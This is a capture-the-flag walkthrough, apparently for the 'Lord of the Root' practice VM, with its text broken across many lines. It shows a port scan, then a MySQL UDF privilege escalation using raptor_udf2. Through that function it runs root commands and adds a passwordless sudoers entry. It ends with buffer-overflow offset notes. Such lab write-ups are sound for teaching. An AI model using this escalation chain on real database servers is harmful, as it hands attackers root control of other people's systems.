#
nmap
-r -p 1,2,3
lordoftheroot
#
nmap
-
sV
-p 1336-1338
lordoftheroot
Starting
Nmap
6.49BETA4 ( https://nmap.org ) at 2015-09-29 09:34 EDT
Nmap
scan report for
lordoftheroot
(10.0.5.142)
Host is up (0.00059s latency).
PORT STATE SERVICE VERSION
1336/
tcp
filtered
ischat
1337/
tcp
open http Apache
httpd
2.4.7 ((Ubuntu))
1338/
tcp
filtered unknown
MAC Address: 00:0C:29:5C:91:
B0
(
VMware
)
[email protected]:~/
enum
$
ps
-
ef
|
grep
mysqld
root 1177 1 0 03:03 ? 00:00:22 /
usr
/
sbin
/
mysqld
[email protected]:~$
gcc
-g -c
raptor
_
udf2
.c
[email protected]:~$
gcc
-g -shared -
o
raptor
_
udf2
.so
raptor
_
udf2
.
o
-
lc
[email protected]:~$ ls -la /home/
smeagol
/
raptor
_
udf2
.*
-
rw
-r--r-- 1
smeagol
smeagol
3178
Sep
29 06:02 /home/
smeagol
/
raptor
_
udf2
.c
-
rw
-
rw
-r-- 1
smeagol
smeagol
3200
Sep
29 06:02 /home/
smeagol
/
raptor
_
udf2
.
o
-
rwxrwxr
-x 1
smeagol
smeagol
8426
Sep
29 06:03 /home/
smeagol
/
raptor
_
udf2
.so
mysql
> use
mysql
;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker
startup
with -A
Database changed
mysql
> create table
foo
(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql
> insert into
foo
values(load_file('/home/
smeagol
/
raptor
_
udf2
.so'));
Query OK, 1 row affected (0.16 sec)
mysql
> select * from
foo
into
dumpfile
'/
usr
/lib/
raptor
_
udf2
.so';
Query OK, 1 row affected (0.00 sec)
mysql
> create function do_system returns integer
soname
'
raptor
_
udf2
.so';
ERROR 1126 (
HY000
): Can't open shared library '
raptor
_
udf2
.so' (
errno
: 0 /
usr
/lib/
mysql
/
plugin
/
raptor
_
udf2
.so: cannot open shared object file: No such file or directory)
mysql
> select * from
foo
into
dumpfile
'/
usr
/lib/
mysql
/
plugin
/
raptor
_
udf2
.so';
Query OK, 1 row affected (0.00 sec)
mysql
> create function do_system returns integer
soname
'
raptor
_
udf2
.so';
Query OK, 0 rows affected (0.01 sec)
mysql
> select * from
mysql
.
func
;
+-----------+-----+----------------+----------+
| name |
ret
|
dl
| type |
+-----------+-----+----------------+----------+
| do_system | 2 |
raptor
_
udf2
.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
mysql
> select do_system('id > /
tmp
/out;');
+-----------------------------+
| do_system('id > /
tmp
/out;') |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (0.04 sec)
mysql
> select do_system('id > /
tmp
/out;
chmod
777 /
tmp
/out');
+------------------------------------------------+
| do_system('id > /
tmp
/out;
chmod
777 /
tmp
/out') |
+------------------------------------------------+
| 0 |
+------------------------------------------------+
1 row in set (0.06 sec)
[email protected]:~$ cat /
tmp
/out
uid
=0(root)
gid
=0(root) groups=0(root)
mysql
> select do_system('echo "
smeagol
ALL =(ALL)
NOPASSWD
: ALL" >> /
etc
/
sudoers
');+-------------------------------------------------------------------------+
| do_system('echo "
smeagol
ALL =(ALL)
NOPASSWD
: ALL" >> /
etc
/
sudoers
') |
+-------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------+
1 row in set (0.02 sec)
[email protected]:~$
sudo
bash
[email protected]:~#
[email protected]:~#
cd
/root/
[email protected]:/root# ls -la
total 68
drwx
------ 2 root root 4096
Sep
22 13:01 .
drwxr
-
xr
-x 23 root root 4096
Sep
22 13:01 ..
-
rw
------- 1 root root 120
Sep
23 09:43 .bash_history
-
rw
-r--r-- 1 root root 3106 Feb 19 2014 .
bashrc
-
rwsr
-
xr
-x 1 root root 5150
Sep
22 13:01
buf
-
rw
-r----- 1 root root 240
Sep
17 23:07
buf
.c
-
rw
-r--r-- 1 root root 121
Sep
18 17:07 Flag.
txt
-
rw
------- 1 root root 830
Sep
17 22:04 .
mysql
_history
-
rwsr
-
xr
-x 1 root root 7370
Sep
17 23:08 other
-
rw
-r----- 1 root root 288
Sep
17 22:53 other.c
-
rw
-r--r-- 1 root root 140 Feb 19 2014 .profile
-
rw
-r--r-- 1 root root 66
Sep
18 04:40 .selected_editor
-
rwxr
----- 1 root root 426
Sep
22 13:06 switcher.
py
-
rw
------- 1 root root 4111
Sep
21 12:22 .
viminfo
[email protected]:/root#[email protected]:/root# cat Flag.
txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
–
Gandalf
[ESP] --> offset 4 - size ~203
gdb
-
peda
$
jmpcall
esp
Not found
gdb
-
peda
$
jmpcall
esp
libc
0x4003ea85 :
jmp
esp
...